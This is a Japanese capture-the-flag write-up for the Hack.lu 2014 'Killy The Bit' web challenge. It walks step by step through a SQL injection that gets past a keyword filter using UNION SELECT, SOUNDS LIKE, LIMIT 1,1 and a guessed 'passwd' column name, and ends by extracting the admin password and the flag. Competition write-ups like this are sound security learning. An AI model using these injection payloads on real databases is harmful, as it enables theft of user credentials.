Hack.lu 2014 Killy The Bit writeup
adminのpasswordを盗み出せ!的な問題
ソースコードを与えられるので読むと、自明なSQLiが存在するページであることがわかる。
3回目のクエリ実行の後には結果が表示されるため、どうにかしてそこでpasswordを抜くことを考える。
ただし、いくつか制約があり AND, OR, sleepなどは使えないのでblind系はできない。
真っ先に思いつくのは UNION SELECT 。
SELECT name, email FROM user WHERE name = 'admin' UNION SELECT 1,2 #
としてやると制約に引っかからずにSQLiができる。
ただし、このままでは1回目のクエリ実行で結果が得られてしまうため意味がない。
そこで、admin → adm などにしてやることで、イコールでは引っかからずに sounds likeで引っかかるようにする。
SELECT name, email FROM user WHERE name ='adm' UNION SELECT 1,2 #
しかし実はこれでもまだダメで、UNION SELECTした結果が返ってきてしまう。
これをうまく消すためには、1回目と2,3回目では検索結果が1件と2件以上であることをうまく利用する。
SELECT name, email FROM user WHERE name ='adm' UNION SELECT 1,2 LIMIT 1,1#
これにより、2,3回目のクエリ実行まで行き、SQLiが成功していることが確認できる。
後はadminのパスワードを抜くだけ。
SELECT name, email FROM user WHERE name sounds like 'adm' UNION SELECT password,2 FROM user WHERE name='admin' LIMIT 1,1#
が、しかしここに罠があり、password という文字列にorが含まれているため実行できない。
カラム名をinformation_schemaから抜こうにも、informationにもorが含まれている。
ここは推測だが、実際のカラム名はpasswdとなっている。
SELECT name, email FROM user WHERE name sounds like 'adm' UNION SELECT passwd,2 FROM user WHERE name ='admin' LIMIT 1,1#
flag{Killy_The_Bit_Is_Wanted_FoR_FlipPing_Bits}
web問には慣れてないが、この程度のカラム名の推測は必要らしい。
あと、ブラインドSQLiで解く方法も存在するらしい。